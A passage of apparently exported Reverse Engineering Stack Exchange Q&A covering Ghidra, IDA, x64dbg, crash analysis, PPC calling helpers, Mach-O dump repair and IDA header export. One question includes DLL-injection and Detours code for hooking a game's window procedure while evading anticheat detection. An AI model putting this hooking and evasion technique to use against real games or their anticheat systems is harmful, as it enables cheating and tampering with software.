        "Body": "<p>I have written a script which extracts all the assembly code from a PE using this code in ghidra</p>\n<pre><code>instructionList = []\nfor instr in currentProgram.getListing().getInstructions(True):\n    instructionList.append(instr)\n</code></pre>\n<p>but the issue is that, is changes all the .DLL calls in the assembly code.\nFor example, if the listing window shows</p>\n<pre><code>CALL        dword ptr [-&gt;MSVCRT.DLL::signal] \n</code></pre>\n<p>The output I get is</p>\n<pre><code>CALL dword ptr [EBP + -0x14]\n</code></pre>\n<p>Is there a way to get the assembly code exactly as it is in the listing window</p>\n",
        "Title": "Extracting Info from Ghidra Listing Window",
        "Tags": "|disassembly|ghidra|",
        "Answer": "<p>I came up with this after I read the post but couldn't find a way to make it neat and clean</p>\n<p>just recording the thought process as pawel created an answer that is nice</p>\n<pre><code>&gt;&gt;&gt; inst = currentProgram.listing.getCodeUnitAt(currentAddress)\n&gt;&gt;&gt; print (inst,inst.getReferencesFrom()[1])\n(CALL qword ptr [0x1c0007050], -&gt;NTOSKRNL.EXE::EtwRegister)\n</code></pre>\n<p>edit a regex substitute hack is what I was thinking of before abandoning it like below</p>\n<pre><code>&gt;&gt;&gt; re.sub(&quot;\\[.*\\]&quot;,'['+inst.getReferencesFrom()[1].toString()+']',inst.toString())\n    u'CALL qword ptr [-&gt;NTOSKRNL.EXE::EtwRegister]'\n</code></pre>\n"
    },
    {
        "Id": "25327",
        "CreationDate": "2020-06-17T14:41:24.623",
        "Body": "<p>If I have breakpoint on some win function, how to whitelist some address on which I don't want stopping?</p>\n<p>Seems that it is needed to use conditions. How?</p>\n<p>I use x64dbg, but if you only know a way in another debugger - it is also interesting.</p>\n",
        "Title": "How to whitelist an address for breakpoint?",
        "Tags": "|x64dbg|",
        "Answer": "<p>Yes you can do that. If you don't know how to set conditional breakpoints take a look <a href=\"https://reverseengineering.stackexchange.com/questions/25215/x64dbg-breakpoint-on-write-in-memory-with-specific-value\">here</a></p>\n<p>The condition you need to set depends if you are debugging 32 (EIP register) or 64 (RIP register) bit program.\nSo for example let's say you don't want to stop at address 0xDEADBEEF for 32 bit program, you can set the break condition to <code>EIP != DEADBEEF</code>. You can add multiple addresses like this: <code>EIP != addy1 &amp;&amp; EIP != addy2</code> and so on.</p>\n"
    },
    {
        "Id": "25338",
        "CreationDate": "2020-06-18T15:43:17.467",
        "Body": "<p>I have an idapython script which automatically defines bytes as code by a predefined configuration.<br />\nThe problem is that when it defines the block of bytes as code (by idc.create_insn) it does not define references automatically.</p>\n<p>For example, this is the outcome of the function:<br />\n<a href=\"https://i.stack.imgur.com/DwK6S.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DwK6S.png\" alt=\"enter image description here\" /></a></p>\n<p>And this is the expected result:<br />\n<a href=\"https://i.stack.imgur.com/vTcBz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/vTcBz.png\" alt=\"enter image description here\" /></a></p>\n<p>If 0x80004F0 cannot be defined automatically as offset, how can I programatically (with idapython) set it to be so?</p>\n",
        "Title": "Defining operand as offset",
        "Tags": "|ida|idapython|",
        "Answer": "<p>I managed to solve the issue by using the following idapython code:</p>\n<pre><code>operand_value = get_operand_value(address, 1)\nfor segment in Segments():\n    if operand_value &gt;= segment and operand_value &lt;= SegEnd(segment):\n        op_hex(address, 1)\n        op_offset(address, 1, idaapi.REF_OFF32, -1, 0, 0)\n</code></pre>\n"
    },
    {
        "Id": "25370",
        "CreationDate": "2020-06-22T16:43:29.763",
        "Body": "<p>For some reason i'm not aware of ( some heap allocation limit ) while allocating memory for some classes, an application ( win64 ) raises this exception:</p>\n<pre><code>DumpedMini Result[0] Exception Code[EXCEPTION_ACCESS_VIOLATION]\nFatal: Man.exe caused an EXCEPTION_ACCESS_VIOLATION(ThdId:10172) in module WApi.dll WApi::COdbcCommand::COdbcCommand(), Source(Wapicodbc.inl:341)\n7FF9ED373847: The instruction at 0x7FF9ED373847 referenced memory at 0xFFFFFFFFFFFFFFFF. The memory could not be read (exc.code c0000005, tid 12420)\n    :00007FF9ED373847 movaps  xmmword ptr [rcx+200h], xmm6\n    00007FF9ED373847    ntdll.dll   ntdll_RtlCaptureStackContext+1E457\n</code></pre>\n<p>I don't have any access to application source , i debug it in ida , also there is similar application that does has same logic (allocating exactly same classes, but it doesn't throw error's and allocating up to 1gb in memory, while this app is stuck on 109k)</p>\n<p>What tools or techniques i can use , to analyze what is behind the memory limiting , or what problem it could be ?</p>\n",
        "Title": "Windows PE64 throw error while allocating heap for unknown reason?",
        "Tags": "|c++|",
        "Answer": "<p>It seems like you have an issue with dereferencing unallocated memory. I don't think that it's related to the heap in any way. It looks like the pointer address that is resolved by <code>ptr [rcx+200h]</code> is in fact points to <code>0xFFFFFFFFFFFFFFFF</code> address, and when trying to access this memory, the application crashes, because this page is not allocated.</p>\n<p>In order to investigate the issue, try to understand what is the origin of the bad <code>ecx</code> register value that is used at <code>00007FF9ED373847</code> - just follow in the disassembly where is it defined, and what goes wrong in your specific scenario - for example, maybe it's origin a function call, that returned an error, but the return value wasn't checked against error codes.</p>\n"
    },
    {
        "Id": "25372",
        "CreationDate": "2020-06-23T02:52:42.603",
        "Body": "<p>Apologies if this is a duplicate. Don't know what words to search for as that's what the question is about.</p>\n<p>I'm relatively new to reverse engineering binaries and while using Ghidra I've noticed that it frequently decompiles the binary to produce functions along these lines:</p>\n<pre><code>void FUN_803adb50(void)\n{\n  int in_r11;\n  undefined4 unaff_r26;\n  undefined4 unaff_r27;\n  undefined4 unaff_r28;\n  undefined4 unaff_r29;\n  undefined4 unaff_r30;\n  undefined4 unaff_r31;\n  \n  *(undefined4 *)(in_r11 + -0x18) = unaff_r26;\n  *(undefined4 *)(in_r11 + -0x14) = unaff_r27;\n  *(undefined4 *)(in_r11 + -0x10) = unaff_r28;\n  *(undefined4 *)(in_r11 + -0xc) = unaff_r29;\n  *(undefined4 *)(in_r11 + -8) = unaff_r30;\n  *(undefined4 *)(in_r11 + -4) = unaff_r31;\n  return;\n}\n</code></pre>\n<p>Which is created from the following disassembly:</p>\n<hr />\n<pre><code>                     *                          FUNCTION                          *\n                     **************************************************************\n                     void __stdcall FUN_803adb50(void)\n                       assume GQR0 = 0x0\n                       assume GQR1 = 0x0\n                       assume GQR2 = 0x40004\n                       assume GQR3 = 0x50005\n                       assume GQR4 = 0x60006\n                       assume GQR5 = 0x70007\n                       assume GQR6 = 0x0\n                       assume GQR7 = 0x0\n                       assume r13 = 0x805dd0e0\n                       assume r2 = 0x805e6700\n     void              &lt;VOID&gt;         &lt;RETURN&gt;\n                     FUN_803adb50\n803adb50 93 4b ff e8     stw        r26,-0x18(r11)\n                     **************************************************************\n                     *                          FUNCTION                          *\n                     **************************************************************\n                     undefined GetVCTypeSomething()\n                       assume GQR0 = 0x0\n                       assume GQR1 = 0x0\n                       assume GQR2 = 0x40004\n                       assume GQR3 = 0x50005\n                       assume GQR4 = 0x60006\n                       assume GQR5 = 0x70007\n                       assume GQR6 = 0x0\n                       assume GQR7 = 0x0\n                       assume r13 = 0x805dd0e0\n                       assume r2 = 0x805e6700\n     undefined         r3:1           &lt;RETURN&gt;\n                     GetVCTypeSomething\n803adb54 93 6b ff ec     stw        r27,-0x14(r11)\n803adb58 93 8b ff f0     stw        r28,-0x10(r11)\n803adb5c 93 ab ff f4     stw        r29,-0xc(r11)\n803adb60 93 cb ff f8     stw        r30,-0x8(r11)\n803adb64 93 eb ff fc     stw        r31,-0x4(r11)\n803adb68 4e 80 00 20     blr\n</code></pre>\n<p>It happens frequently enough that it must be some kind of common pattern, always with many variables of an undefined type with the &quot;unaff_&quot; prefix which are assigned to an equal number of variables with the &quot;in_&quot; prefix. <em>They also commonly appear at the beginning of the caller functions.</em> My instinct is that it's something related to a class structure (I'm unsure of whether or not the original binary was C or C++) but given that I've had no luck with my searches, I figured I'd ask here.</p>\n<p><strong>What (if any) is the common code pattern that would produce such decompiled code?</strong></p>\n<p>Bonus points if there's a way to edit the function definition to produce something more legible.</p>\n",
        "Title": "What kind of function creates this code pattern?",
        "Tags": "|binary-analysis|decompilation|ghidra|",
        "Answer": "<p>This is a helper function used by <a href=\"https://www.nxp.com/assets/documents/data/en/application-notes/PPCEABI.pdf\" rel=\"nofollow noreferrer\">PPC EABI</a> conforming compilers for reducing code size. From <a href=\"https://github.com/rodrigc/bz-vimage/blob/46b4e0c21e5297b9bdcdc0f518961d9906753e3a/contrib/gcc/config/rs6000/crtsavres.asm#L89\" rel=\"nofollow noreferrer\"><code>ctrsavres.asm</code></a>:</p>\n<pre><code>/* Routines for saving integer registers, called by the compiler.  */\n/* Called with r11 pointing to the stack header word of the caller of the */\n/* function, just beyond the end of the integer save area.  */\n</code></pre>\n<p>Because it is called by the compiler, it doesn't behave like normal a function and accesses <code>r11</code> directly, without setting it up first (it is set up by the caller).</p>\n"
    },
    {
        "Id": "25373",
        "CreationDate": "2020-06-23T04:08:32.420",
        "Body": "<p>I read my process memory with <strong>WinHex</strong> in order to remove some sensitive text which may running my app into crack/hack.(license data).</p>\n<p>Now , when i open the process Entire memory with in <strong>WinHex</strong> , i can easily search and find those sensitive data , but when i open each sub-module memory one by one , i can not find them !!</p>\n<p>How this is possible ?</p>\n<p>Is there any floating memory in each process which does not belong to process itself and it's sub-modules ?</p>\n<p><strong>Update :</strong>\nThe strange thing is each time this data appear on a completely different offset !</p>\n<p>I appreciate for your answer.\nThank you.</p>\n",
        "Title": "WinHex : There's a data that does not belong to any module",
        "Tags": "|memory|dumping|memory-dump|process|",
        "Answer": "<p>You can use <a href=\"https://docs.microsoft.com/en-us/sysinternals/downloads/vmmap\" rel=\"nofollow noreferrer\">VMMap by SysInternals</a> to inspect the memory layout of the process and determine what exactly the mysterious memory is.</p>\n<p>If it is heap memory, most likely there is a pointer to it somewhere in the process' data section, so you may be able to track it from there. Note that there can be multiple levels of indirections for a specific memory block. You may be able to use <a href=\"https://wiki.cheatengine.org/index.php?title=Tutorials:Pointers\" rel=\"nofollow noreferrer\">Cheat Engine</a> to discover a pointer chain to the area of interest.</p>\n"
    },
    {
        "Id": "25374",
        "CreationDate": "2020-06-23T07:07:25.520",
        "Body": "<p>i am trying to hook wndproc in an game, to do that i am injecting a dll into their memory, my problem is i don't wanna do a Global Hook to the wndproc, i want to get a pointer to his procedure to do thing more cleans and stealth. (I am still learning so i am right now a noob into assembly, if you want you can recommend me a good tutorial to learn assembly etc).</p>\n<p><strong>PS: Sorry for my english.</strong></p>\n<p><strong>This is what i mean for Global Hook:</strong></p>\n<pre><code>//Global/Universal Hook example.\n#include &lt;windows.h&gt;\n\nstatic bool bSetup = false;\nWNDPROC oWndProc;\n\nLRESULT WndProc(const HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)\n{\n    //Process messages\n    \n    return CallWindowProc(WindowProc, hWnd, msg, wParam, lParam);\n}\n\nvoid lpMain()//Our dll start here, we do our thing in this function.\n{\n    if (!bSetup)\n    {\n        WindowProc = (WNDPROC)SetWindowLongPtr(HWND, GWLP_WNDPROC, (LRESULT)WndProc);//our Global Hooked Procedure.\n    }\n}\n\nBOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)\n{\n    switch (ul_reason_for_call)\n    {\n    case DLL_PROCESS_ATTACH:\n        CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)lpMain, nullptr, 0, 0);//The trhead that call our function and maintain it alive.\n        break;\n    }\n    return TRUE;\n}\n</code></pre>\n<p>Instead of doing it by this way i want to hook it directly by the address/pointer of the target process also i want to avoid the CallWindowProc API call if it possible, i have been searching for the pointer with IDA Pro, x32dbg and Cheat engine but i haven't found it. How i can found a pointer to this? Thank you guys.</p>\n<p><strong>I am injecting a dll to the process to trying to do this.</strong></p>\n<p>Goal-Objective: <strong>The goal is hook the game procedure to use it instead of creating a global hook, also trying to avoid moost WinApi calls to be stealthy, cause anticheats can hook some API Functions and checks if they have been called or edited.</strong></p>\n<p><strong>Example of what i am trying to do (Detour hooking):</strong></p>\n<pre><code>//This is that i want to do.\n#include &lt;windows.h&gt;\n#include &quot;detour.h&quot;//Microsoft detours header for hooking.\n#pragma comment(lib, &quot;detours.lib&quot;);//Microsoft detours library.\n\nstatic bool bSetup = false;\nHWND GameHwnd = (HWND)((uintptr_t)GetModuleHandle(nullptr) + 0xA93158);\n\ntypedef LRESULT(__stdcall* wndProc) (HWND, UINT, WPARAM, lParam);//our prototype.\nwndProc oWindowProc = nullptr;//our function return.\n\n//offsets, pointers, addresses...\nuintptr_t ADDRESS_WNDPROC = (uintptr_t)GetModuleHandle(nullptr) + 0x283C3A;\n\nLRESULT HookedWndProc(const HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)\n{\n    //Process messages\n    \n    return CallWindowProc(oWindowProc, hWnd, msg, wParam, lParam);\n}\n\nvoid lpMain()//Our dll start here, we do our thing in this function.\n{\n    if (!bSetup)//Hook Procedure and other stuff.\n    {\n        DetourTransactionBegin();\n        DetourUpdateThread(GetCurrentThread());\n        \n        DetourAttach(&amp;(LPVOID&amp;)ADDRESS_WNDPROC, &amp;HookedWndProc);\n        \n        DetourTransactionCommit();\n        \n        oWindowProc = (WNDPROC)ADDRESS_WNDPROC;\n        \n        or\n        \n        //oWindowProc = (WNDPROC)SetWindowLongPtr(GameHwnd, GWLP_WNDPROC, (LRESULT)HookedWndProc);//our Global Hooked Procedure.\n        \n        bSetup = true;\n    }\n    \n    //do our things.\n}\n\nBOOL APIENTRY DllMain( HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)\n{\n    switch (ul_reason_for_call)\n    {\n    case DLL_PROCESS_ATTACH:\n        CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)lpMain, nullptr, 0, 0);//The trhead that call our function and maintain it alive.\n        break;\n    }\n    return TRUE;\n}\n</code></pre>\n",
        "Title": "How i can grab a pointer or hook the process procedure without creating a global hook",
        "Tags": "|c++|address|pointer|",
        "Answer": "<p>The window procedure  is usually set up per window class via the call to <a href=\"https://docs.microsoft.com/en-us/windows/win32/intl/registering-window-classes\" rel=\"nofollow noreferrer\">RegisterClassW</a> or similar. While it can be changed later by <code>SetWindowLongPtr</code>, in practice this is done quite rarely (AFAIK) so most likely the standard class procedure will be used. So:</p>\n<ol>\n<li>Check calls to <code>RegisterClassW</code>/<code>RegisterClassA</code> and extract <code>lpfnWndProc</code> from the class struct</li>\n<li>Hook the procedure and do what you need.</li>\n</ol>\n"
    },
    {
        "Id": "25388",
        "CreationDate": "2020-06-25T00:58:51.157",
        "Body": "<p>I am trying to restore a binary from memory. I re-constructed the binary and analyzed it with a disassembler and it looks okay, but when inspecting the headers with otool I'm getting:</p>\n<pre><code>truncated or malformed object (addr field plus size of section 8 in LC_SEGMENT_64 command 0 greater than than the segment's vmaddr plus vmsize)\n</code></pre>\n<p>Looking at the command:</p>\n<pre><code> struct __macho_segment_command_64 {\n  LC_SEGMENT_64,                       // LC_SEGMENT_64\n  0x368,                               // includes sizeof section_64 structs\n  &quot;__TEXT&quot;, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // segment name\n  0x0,                                 // memory address of this segment\n  0x339000,                            // memory size of this segment\n  0x0,                                 // file offset of this segment\n  0x339000,                            // amount to map from the file\n  0x7,                                 // maximum VM protection\n  0x5,                                 // initial VM protection\n  0xa,                                 // number of sections in segment\n  0               \n</code></pre>\n<p>Then section 8 of that command:</p>\n<pre><code>struct __macho_section_64 { \n  &quot;__objc_classname&quot;,                  // name of this section\n  &quot;__TEXT&quot;, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // segment this section goes in\n  0x2dee36,                            // memory address of this section\n  0x6a,                                // size in bytes of this section\n  0x2dee36,                            // file offset of this section\n  0x0,                                 // section alignment (power of 2)\n  0x0,                                 // file offset of relocation entries\n  0x0,                                 // number of relocation entries\n  S_CSTRING_LITERALS,                  // flags (section type and attributes\n  0x0,                                 // reserved (for offset or index)\n  0x0,                                 // reserved (for count or sizeof)\n  0x0                                  // reserved\n}\n</code></pre>\n<p>vmsize of this command is <code>0x339000</code>. Section 8 starts at <code>0x2dee36</code> and is <code>0x6a</code> in size. So the section ends at <code>0x2DEEA0</code>.</p>\n<p>I have problems understanding how this is &quot;addr field plus size of section 8 in LC_SEGMENT_64 command 0 greater than than the segment's vmaddr plus vmsize&quot; given that the VM size of this command is <code>0x339000</code></p>\n<p>I'm suspecting I'm probably missing something, so my question: What adjustments are needed to restore a binary and make it executable again?</p>\n",
        "Title": "How to fix Mach-O headers from a memory-dumped binary to make it usable again?",
        "Tags": "|memory-dump|mach-o|",
        "Answer": "<p><code>otool</code> uses 0-based indexing for load commands and section numbers so it's probably the next section which is problematic.</p>\n<p>Note that the OS loader only uses <em>segments</em> for mapping the image to the memory so even if the file offsets of the sections  are off it should not affect runnability of the program.  Some sections may be used by the runtime components like the dynamic loader or Objective-C runtime but normally they only use memory addresses and not file offsets.</p>\n"
    },
    {
        "Id": "25394",
        "CreationDate": "2020-06-25T18:49:52.900",
        "Body": "<p>Im a noob when it comes to using reverse engineering tooling.</p>\n<p>I am doing a reversing challenge (pwn adventure 3 CTF) and I am exporting the various types from IDA. The thing is, the header files are always full of errors when I add them to the project in visual studio. Using these headers would be much convenient since I have access to them, its just frustrating that i cannot get the syntax work. I have tried exporting the whole DLL I am debugging as a header (it includes a pdb so all these are supposed to be included). I have even tried including all of the std headers (I know its a bad practice, just wanted to try whether that fixes it.)</p>\n<p>Is there something I am missing that I am supposed to do in order to have the exported headers be syntactically correct so I can use them in my development project?</p>\n<p>Maybe the pros can guide me to the correct direction with this. Cheers in advance.</p>\n<p>An example for the header exported by IDA for the ClientWorld looks the following,:</p>\n<pre><code>/*\n   This file has been generated by IDA.\n   It contains local type definitions from\n   the type library 'GameLogic'\n*/\n\n#define __int8 char\n#define __int16 short\n#define __int32 int\n#define __int64 long long\n\nstruct IPlayer;\nstruct ILocalPlayer;\nstruct std::_Tree_node&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt;,void *&gt;;\nstruct std::_Tree_node&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt;,void *&gt;;\nstruct std::_Tree_node&lt;ActorRef&lt;IActor&gt;,void *&gt;;\nstruct std::_Tree_node&lt;ActorRef&lt;IPlayer&gt;,void *&gt;;\nstruct WorldVtbl;\n\n/* 155 */\nstruct __cppobj std::_Container_base0\n{\n};\n\n/* 545 */\nstruct __cppobj std::_Tree_val&lt;std::_Tree_simple_types&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; : std::_Container_base0\n{\n  std::_Tree_node&lt;ActorRef&lt;IPlayer&gt;,void *&gt; *_Myhead;\n  unsigned int _Mysize;\n};\n\n/* 549 */\nstruct __cppobj std::_Tree_alloc&lt;0,std::_Tree_base_types&lt;ActorRef&lt;IPlayer&gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; &gt; : std::_Tree_val&lt;std::_Tree_simple_types&lt;ActorRef&lt;IPlayer&gt; &gt; &gt;\n{\n};\n\n/* 550 */\nstruct __cppobj std::_Tree_buy&lt;ActorRef&lt;IPlayer&gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; : std::_Tree_alloc&lt;0,std::_Tree_base_types&lt;ActorRef&lt;IPlayer&gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; &gt;\n{\n};\n\n/* 551 */\nstruct __cppobj std::_Tree_comp&lt;0,std::_Tset_traits&lt;ActorRef&lt;IPlayer&gt;,std::less&lt;ActorRef&lt;IPlayer&gt; &gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt;,0&gt; &gt; : std::_Tree_buy&lt;ActorRef&lt;IPlayer&gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt; &gt;\n{\n};\n\n/* 565 */\nstruct __cppobj std::_Tree&lt;std::_Tset_traits&lt;ActorRef&lt;IPlayer&gt;,std::less&lt;ActorRef&lt;IPlayer&gt; &gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt;,0&gt; &gt; : std::_Tree_comp&lt;0,std::_Tset_traits&lt;ActorRef&lt;IPlayer&gt;,std::less&lt;ActorRef&lt;IPlayer&gt; &gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt;,0&gt; &gt;\n{\n};\n\n/* 687 */\nstruct __cppobj std::set&lt;ActorRef&lt;IPlayer&gt;,std::less&lt;ActorRef&lt;IPlayer&gt; &gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; : std::_Tree&lt;std::_Tset_traits&lt;ActorRef&lt;IPlayer&gt;,std::less&lt;ActorRef&lt;IPlayer&gt; &gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt;,0&gt; &gt;\n{\n};\n\n/* 322 */\nstruct __cppobj std::_Tree_val&lt;std::_Tree_simple_types&lt;ActorRef&lt;IActor&gt; &gt; &gt; : std::_Container_base0\n{\n  std::_Tree_node&lt;ActorRef&lt;IActor&gt;,void *&gt; *_Myhead;\n  unsigned int _Mysize;\n};\n\n/* 323 */\nstruct __cppobj std::_Tree_alloc&lt;0,std::_Tree_base_types&lt;ActorRef&lt;IActor&gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt; &gt; &gt; : std::_Tree_val&lt;std::_Tree_simple_types&lt;ActorRef&lt;IActor&gt; &gt; &gt;\n{\n};\n\n/* 328 */\nstruct __cppobj std::_Tree_buy&lt;ActorRef&lt;IActor&gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt; &gt; : std::_Tree_alloc&lt;0,std::_Tree_base_types&lt;ActorRef&lt;IActor&gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt; &gt; &gt;\n{\n};\n\n/* 542 */\nstruct __cppobj std::_Tree_comp&lt;0,std::_Tset_traits&lt;ActorRef&lt;IActor&gt;,std::less&lt;ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt;,0&gt; &gt; : std::_Tree_buy&lt;ActorRef&lt;IActor&gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt; &gt;\n{\n};\n\n/* 554 */\nstruct __cppobj std::_Tree&lt;std::_Tset_traits&lt;ActorRef&lt;IActor&gt;,std::less&lt;ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt;,0&gt; &gt; : std::_Tree_comp&lt;0,std::_Tset_traits&lt;ActorRef&lt;IActor&gt;,std::less&lt;ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt;,0&gt; &gt;\n{\n};\n\n/* 664 */\nstruct __cppobj std::set&lt;ActorRef&lt;IActor&gt;,std::less&lt;ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt; &gt; : std::_Tree&lt;std::_Tset_traits&lt;ActorRef&lt;IActor&gt;,std::less&lt;ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt;,0&gt; &gt;\n{\n};\n\n/* 304 */\nstruct __cppobj std::_Tree_val&lt;std::_Tree_simple_types&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt; &gt; : std::_Container_base0\n{\n  std::_Tree_node&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt;,void *&gt; *_Myhead;\n  unsigned int _Mysize;\n};\n\n/* 305 */\nstruct __cppobj std::_Tree_alloc&lt;0,std::_Tree_base_types&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt; &gt; &gt; : std::_Tree_val&lt;std::_Tree_simple_types&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt; &gt;\n{\n};\n\n/* 330 */\nstruct __cppobj std::_Tree_buy&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt; &gt; : std::_Tree_alloc&lt;0,std::_Tree_base_types&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt; &gt; &gt;\n{\n};\n\n/* 331 */\nstruct __cppobj std::_Tree_comp&lt;0,std::_Tmap_traits&lt;unsigned int,ActorRef&lt;IActor&gt;,std::less&lt;unsigned int&gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt;,0&gt; &gt; : std::_Tree_buy&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt; &gt;\n{\n};\n\n/* 334 */\nstruct __cppobj std::_Tree&lt;std::_Tmap_traits&lt;unsigned int,ActorRef&lt;IActor&gt;,std::less&lt;unsigned int&gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt;,0&gt; &gt; : std::_Tree_comp&lt;0,std::_Tmap_traits&lt;unsigned int,ActorRef&lt;IActor&gt;,std::less&lt;unsigned int&gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt;,0&gt; &gt;\n{\n};\n\n/* 597 */\nstruct __cppobj std::map&lt;unsigned int,ActorRef&lt;IActor&gt;,std::less&lt;unsigned int&gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt; &gt; : std::_Tree&lt;std::_Tmap_traits&lt;unsigned int,ActorRef&lt;IActor&gt;,std::less&lt;unsigned int&gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt;,0&gt; &gt;\n{\n};\n\n/* 285 */\nstruct __cppobj std::_Tree_val&lt;std::_Tree_simple_types&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt; &gt; : std::_Container_base0\n{\n  std::_Tree_node&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt;,void *&gt; *_Myhead;\n  unsigned int _Mysize;\n};\n\n/* 286 */\nstruct __cppobj std::_Tree_alloc&lt;0,std::_Tree_base_types&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt; &gt; &gt; : std::_Tree_val&lt;std::_Tree_simple_types&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt; &gt;\n{\n};\n\n/* 393 */\nstruct __cppobj std::_Tree_buy&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt; &gt; : std::_Tree_alloc&lt;0,std::_Tree_base_types&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt; &gt; &gt;\n{\n};\n\n/* 490 */\nstruct __cppobj std::_Tree_comp&lt;0,std::_Tmap_traits&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt;,AIZone *,std::less&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; &gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt;,0&gt; &gt; : std::_Tree_buy&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt; &gt;\n{\n};\n\n/* 513 */\nstruct __cppobj std::_Tree&lt;std::_Tmap_traits&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt;,AIZone *,std::less&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; &gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt;,0&gt; &gt; : std::_Tree_comp&lt;0,std::_Tmap_traits&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt;,AIZone *,std::less&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; &gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt;,0&gt; &gt;\n{\n};\n\n/* 564 */\nstruct __cppobj 